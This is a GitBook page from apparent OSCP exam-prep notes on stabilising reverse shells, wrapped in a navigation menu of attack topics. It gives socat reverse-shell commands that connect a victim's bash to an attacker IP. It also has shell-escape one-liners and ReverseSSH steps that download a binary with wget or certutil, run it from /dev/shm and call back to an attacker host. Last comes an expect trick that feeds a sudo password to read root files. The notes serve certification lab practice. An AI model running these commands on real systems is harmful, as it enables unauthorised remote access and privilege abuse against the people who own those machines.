✏️
OSCP
  • $WhoAmI?
  • Manual
  • NMAP
    • NSE Scripts
  • Steganography
  • Services Enumeration
    • Postgres Psql
    • SNMTP - 199
    • SSH - 22
    • TELNET - 23
    • RDP - 3389
    • DISTCCD - 3632
    • IMAP - 143
    • TFTP - UDP69
    • FTP - 21
    • HTTP 80/443
      • LFI to RCE
      • ShellShock
      • GIT
      • XXE, SQLI, CRLF, CSV,
      • CMS
      • Locations
        • Interested Linux Files
        • Logs
      • Command Injection
      • Remote File Inclusion (RFI)
      • File Upload Vulnerabilities
      • Remote Code Execution (RCE)
      • SQL Injection
      • Local File Inclusion (LFI)
        • LFI TO RCE
      • Web Enumeration
        • Patator BruteForce
        • ShellShock
        • Nikto
        • Anonymous Scanning
        • Fuzzers
        • DNS
    • SMB 139/445
      • SMB Exploit
      • SMB Enumerate
      • Send and Execute
      • Samba 2.2.x
    • RPC - 111
    • NFS
    • SNMP 161
    • SMTP 25
    • VNC - 5800
    • MYSQL - 3306
    • POP3 - 110
    • LDAP - 389
    • IRC 667
    • Java-RMI 1098/1099/1050
    • 1433 - MSSQL
  • Linux
    • Shells Linux
    • File Transfer
    • Linux Priv Esc
    • Fix Shell
    • Upload
    • Restricted Shell
  • Windows
    • File Transfer
    • Reverse Shell Cheatsheet
      • Full TTYs
      • Shells - Windows
      • MSFVENOM
    • Post Explotation
      • Nishang
      • Kernel Exploits
      • Service Exploits
      • Unquoted service paths
      • Mimikatz
    • BackDoors
    • EternalBlue MS17-010
    • Windows - Download and execute methods
    • Windows Priv Exc
    • Priv Esc Tools
    • ByPass UAC
      • Bypassing default UAC settings manually c++
      • EventVwr Bypass UAC Powershell
      • ByPass UAC Metasploit
      • Bypassing UAC with Kali’s bypassuac
      • Bypass UAC on Windows Vista
  • Password Attack
    • Intercepting Login Request
    • Windows Hashes
    • Linux Hashes
    • Wordlists
    • Brute Force Password Attacks & Cracking
    • Hashes
  • Network Pivoting Techniques
  • Buffer OverFlow
    • 6. Getting Shell
    • 5. Finding Bad Characters
    • 4. Overwrite EIP
    • 3. Finding The Offset
    • 2. Fuzzing
    • 1. Spiking
  • Downloads
  • Online Websites
  • Privilege Escalation History
  • Exploit
    • Unreal IRC
    • Sambacry
    • Shellshock
    • Padding Oracle Attack
Powered by GitBook
On this page
  • Full TTY
  • Spawn shells
  • ReverseSSH
  • No TTY

Was this helpful?

  1. Linux

Fix Shell

Interactive Shell

It's asking you for a terminal type. Type `xterm` and you should have it. From my understanding:

python -c 'import pty; pty.spawn("/bin/bash")'
or
echo 'os.system('/bin/bash')'
or
/bin/bash -i

  
Ctrl + Z
stty raw -echo 
fg
reset
xterm 

Full TTY

Note that the shell you set in the SHELL variable must be listed inside /etc/shells or The value for the SHELL variable was not found the /etc/shells file This incident has been reported. Also note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running bash.

python3 -c 'import pty; pty.spawn("/bin/bash")'(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
script -qc /bin/bash /dev/null(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
#Listener:socat file:`tty`,raw,echo=0 tcp-listen:4444​#Victim:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Spawn shells

  • python -c 'import pty; pty.spawn("/bin/sh")'

  • echo os.system('/bin/bash')

  • /bin/sh -i

  • script -qc /bin/bash /dev/null

  • perl -e 'exec "/bin/sh";'

  • perl: exec "/bin/sh";

  • ruby: exec "/bin/sh"

  • lua: os.execute('/bin/sh')

  • IRB: exec "/bin/sh"

  • vi: :!bash

  • vi: :set shell=/bin/bash:shell

  • nmap: !sh

ReverseSSH

  1. Prepare locally to catch the ssh port forwarding request:

# Drop it via your preferred way, e.g.wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh​/dev/shm/reverse-ssh -v -l :4444
  • (2a) Linux target:

# Drop it via your preferred way, e.g.wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh​/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2
# Drop it via your preferred way, e.g.certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe​reverse-ssh.exe -p 4444 kali@10.0.0.2
  • If the ReverseSSH port forwarding request was successful, you should now be able to log in with default password letmeinbrudipls in the context of the user running reverse-ssh(.exe):

# Interactive shell accessssh -p 8888 127.0.0.1​# Bidirectional file transfersftp -P 8888 127.0.0.1

No TTY

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'

If for some reason you cannot obtain a full TTY you still can interact with programs that expects user input. In the following example, the password is passed to sudo to read a file:

PreviousLinux Priv EscNextUpload

Last updated 3 years ago

Was this helpful?

A convenient way for interactive shell access, as well as file transfers and port forwarding, is dropping the statically-linked ssh server onto the target.

Below is an example for x86 with upx-compressed binaries. For other binaries, check .

(2b) Windows 10 target (for earlier versions, check ):

ReverseSSH
releases page
project readme